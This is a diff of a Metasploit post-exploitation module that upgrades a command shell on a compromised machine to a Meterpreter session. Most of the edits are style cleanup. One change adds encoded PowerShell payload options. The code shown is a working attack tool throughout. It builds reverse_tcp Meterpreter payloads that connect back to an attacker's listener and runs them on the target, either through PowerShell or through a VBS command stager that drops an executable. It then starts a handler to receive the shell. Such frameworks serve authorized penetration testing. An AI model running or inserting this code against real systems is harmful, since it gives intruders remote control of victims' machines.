@@ -12,8 +12,8 @@ class Metasploit3 < Msf::Post
12
12
include Exploit ::Powershell
13
13
include Post ::Windows ::Powershell
14
14
15
- def initialize ( info = { } )
16
- super ( update_info ( info ,
15
+ def initialize ( info = { } )
16
+ super ( update_info ( info ,
17
17
'Name' => 'Shell to Meterpreter Upgrade' ,
18
18
'Description' => %q{
19
19
This module attempts to upgrade a command shell to meterpreter. The shell
@@ -33,9 +33,9 @@ def initialize(info={})
33
33
OptInt . new ( 'LPORT' ,
34
34
[ false , 'Port for Payload to connect to.' , 4433 ] ) ,
35
35
OptBool . new ( 'HANDLER' ,
36
- [ true , 'Start an Exploit Multi Handler to receive the connection' , true ] ) ,
36
+ [ true , 'Start an Exploit Multi Handler to receive the connection' , true ] )
37
37
] , self . class )
38
- deregister_options ( " PERSIST" , " PSH_OLD_METHOD" , " RUN_WOW64" )
38
+ deregister_options ( ' PERSIST' , ' PSH_OLD_METHOD' , ' RUN_WOW64' )
39
39
end
40
40
41
41
# Run Method for when run command is issued
@@ -49,7 +49,7 @@ def run
49
49
elsif framework . datastore [ 'LHOST' ]
50
50
lhost = framework . datastore [ 'LHOST' ]
51
51
else
52
- lhost = session . tunnel_local . split ( ":" ) [ 0 ]
52
+ lhost = session . tunnel_local . split ( ':' ) [ 0 ]
53
53
end
54
54
55
55
# If nothing else works....
@@ -64,6 +64,7 @@ def run
64
64
payload_name = 'windows/meterpreter/reverse_tcp'
65
65
lplat = [ Msf ::Platform ::Windows ]
66
66
larch = [ ARCH_X86 ]
67
+ psh_arch = 'x86'
67
68
when /osx/i
68
69
platform = 'python'
69
70
payload_name = 'python/meterpreter/reverse_tcp'
@@ -79,7 +80,7 @@ def run
79
80
payload_name = 'linux/x86/meterpreter/reverse_tcp'
80
81
lplat = [ Msf ::Platform ::Linux ]
81
82
larch = [ ARCH_X86 ]
82
- elsif cmd_exec ( " python -V" ) =~ /Python 2\. (\d )/
83
+ elsif cmd_exec ( ' python -V' ) =~ /Python 2\. (\d )/
83
84
# Generic fallback for OSX, Solaris, Linux/ARM
84
85
platform = 'python'
85
86
payload_name = 'python/meterpreter/reverse_tcp'
@@ -91,15 +92,14 @@ def run
91
92
return nil
92
93
end
93
94
94
- payload_data = generate_payload ( lhost , lport , payload_name )
95
+ payload_data = generate_payload ( lhost , lport , payload_name )
95
96
if payload_data . blank?
96
97
print_error ( "Unable to build a suitable payload for #{ session . platform } using payload #{ payload_name } ." )
97
98
return nil
98
99
end
99
100
100
-
101
101
if datastore [ 'HANDLER' ]
102
- listener_job_id = create_multihandler ( lhost , lport , payload_name )
102
+ listener_job_id = create_multihandler ( lhost , lport , payload_name )
103
103
if listener_job_id . blank?
104
104
print_error ( "Failed to start multi/handler on #{ datastore [ 'LPORT' ] } , it may be in use by another process." )
105
105
return nil
@@ -109,7 +109,8 @@ def run
109
109
case platform
110
110
when 'win'
111
111
if have_powershell?
112
- cmd_exec ( cmd_psh_payload ( payload_data ) )
112
+ psh_opts = { :prepend_sleep => 1 , :encode_inner_payload => true , :persist => false }
113
+ cmd_exec ( cmd_psh_payload ( payload_data , psh_arch , psh_opts ) )
113
114
else
114
115
exe = Msf ::Util ::EXE . to_executable ( framework , larch , lplat , payload_data )
115
116
aborted = transmit_payload ( exe )
@@ -123,11 +124,9 @@ def run
123
124
124
125
cleanup_handler ( listener_job_id , aborted ) if datastore [ 'HANDLER' ]
125
126
return nil
126
-
127
127
end
128
128
129
129
def transmit_payload ( exe )
130
-
131
130
#
132
131
# Generate the stager command array
133
132
#
@@ -140,7 +139,7 @@ def transmit_payload(exe)
140
139
#:nodelete => true # keep temp files (for debugging)
141
140
}
142
141
if session . platform =~ /win/i
143
- opts [ :decoder ] = File . join ( Msf ::Config . data_directory , " exploits" , " cmdstager" , " vbs_b64" )
142
+ opts [ :decoder ] = File . join ( Msf ::Config . data_directory , ' exploits' , ' cmdstager' , ' vbs_b64' )
144
143
cmdstager = Rex ::Exploitation ::CmdStagerVBS . new ( exe )
145
144
else
146
145
opts [ :background ] = true
@@ -150,8 +149,8 @@ def transmit_payload(exe)
150
149
end
151
150
152
151
cmds = cmdstager . generate ( opts )
153
- if ( cmds . nil? or cmds . length < 1 )
154
- print_error ( " The command stager could not be generated" )
152
+ if cmds . nil? || cmds . length < 1
153
+ print_error ( ' The command stager could not be generated' )
155
154
raise ArgumentError
156
155
end
157
156
@@ -169,18 +168,16 @@ def transmit_payload(exe)
169
168
aborted = false
170
169
cmds . each { |cmd |
171
170
ret = session . shell_command_token ( cmd )
172
- if ( not ret )
171
+ if ! ret
173
172
aborted = true
174
173
else
175
174
ret . strip!
176
- if ( not ret . empty? )
177
- aborted = true
178
- end
175
+ aborted = true if !ret . empty?
179
176
end
180
177
if aborted
181
- print_error ( " Error: Unable to execute the following command:" )
178
+ print_error ( ' Error: Unable to execute the following command:' )
182
179
print_error ( cmd . inspect )
183
- print_error ( 'Output: ' + ret . inspect ) if ret and not ret . empty?
180
+ print_error ( 'Output: ' + ret . inspect ) if ret && ! ret . empty?
184
181
break
185
182
end
186
183
@@ -200,23 +197,21 @@ def transmit_payload(exe)
200
197
end
201
198
202
199
def cleanup_handler ( listener_job_id , aborted )
203
-
204
200
# Return if the job has already finished
205
201
return nil if framework . jobs [ listener_job_id ] . nil?
206
202
207
- Thread . new do
208
- if not aborted
209
- timer = 0
210
- while not framework . jobs [ listener_job_id ] . nil? && timer < 10
211
- # Wait up to 10 seconds for the session to come in..
212
- sleep ( 1 )
213
- timer += 1
214
- end
203
+ Thread . new do
204
+ if !aborted
205
+ timer = 0
206
+ while !framework . jobs [ listener_job_id ] . nil? && timer < 10
207
+ # Wait up to 10 seconds for the session to come in..
208
+ sleep ( 1 )
209
+ timer += 1
215
210
end
216
- print_status ( "Stopping multi/handler" )
217
- framework . jobs . stop_job ( listener_job_id )
218
211
end
219
-
212
+ print_status ( 'Stopping multi/handler' )
213
+ framework . jobs . stop_job ( listener_job_id )
214
+ end
220
215
end
221
216
222
217
#
@@ -227,16 +222,15 @@ def progress(total, sent)
227
222
print_status ( "Command Stager progress - %3.2f%% done (%d/%d bytes)" % [ done . to_f , sent , total ] )
228
223
end
229
224
230
-
231
225
# Method for checking if a listener for a given IP and port is present
232
226
# will return true if a conflict exists and false if none is found
233
- def check_for_listener ( lhost , lport )
234
- client . framework . jobs . each do |k , j |
227
+ def check_for_listener ( lhost , lport )
228
+ client . framework . jobs . each do |k , j |
235
229
if j . name =~ / multi\/ handler/
236
230
current_id = j . jid
237
- current_lhost = j . ctx [ 0 ] . datastore [ " LHOST" ]
238
- current_lport = j . ctx [ 0 ] . datastore [ " LPORT" ]
239
- if lhost == current_lhost and lport == current_lport . to_i
231
+ current_lhost = j . ctx [ 0 ] . datastore [ ' LHOST' ]
232
+ current_lport = j . ctx [ 0 ] . datastore [ ' LPORT' ]
233
+ if lhost == current_lhost && lport == current_lport . to_i
240
234
print_error ( "Job #{ current_id } is listening on IP #{ current_lhost } and port #{ current_lport } " )
241
235
return true
242
236
end
@@ -246,14 +240,14 @@ def check_for_listener(lhost,lport)
246
240
end
247
241
248
242
# Starts a multi/handler session
249
- def create_multihandler ( lhost , lport , payload_name )
243
+ def create_multihandler ( lhost , lport , payload_name )
250
244
pay = client . framework . payloads . create ( payload_name )
251
245
pay . datastore [ 'LHOST' ] = lhost
252
246
pay . datastore [ 'LPORT' ] = lport
253
- print_status ( " Starting exploit multi handler" )
254
- if not check_for_listener ( lhost , lport )
247
+ print_status ( ' Starting exploit multi handler' )
248
+ if ! check_for_listener ( lhost , lport )
255
249
# Set options for module
256
- mh = client . framework . exploits . create ( " multi/handler" )
250
+ mh = client . framework . exploits . create ( ' multi/handler' )
257
251
mh . share_datastore ( pay . datastore )
258
252
mh . datastore [ 'WORKSPACE' ] = client . workspace
259
253
mh . datastore [ 'PAYLOAD' ] = payload_name
@@ -276,24 +270,19 @@ def create_multihandler(lhost,lport,payload_name)
276
270
# target could end up on on a different handler with the wrong payload
277
271
# or dropped entirely.
278
272
select ( nil , nil , nil , 5 )
279
- if framework . jobs [ mh . job_id . to_s ] . nil?
280
- return nil
281
- end
273
+ return nil if framework . jobs [ mh . job_id . to_s ] . nil?
282
274
283
275
return mh . job_id . to_s
284
276
else
285
- print_error ( " A job is listening on the same local port" )
277
+ print_error ( ' A job is listening on the same local port' )
286
278
return nil
287
279
end
288
-
289
-
290
280
end
291
281
292
- def generate_payload ( lhost , lport , payload_name )
282
+ def generate_payload ( lhost , lport , payload_name )
293
283
payload = framework . payloads . create ( payload_name )
294
284
options = "LHOST=#{ lhost } LPORT=#{ lport } "
295
285
buf = payload . generate_simple ( 'OptionStr' => options )
296
- return buf
286
+ buf
297
287
end
298
-
299
288
end
0 commit comments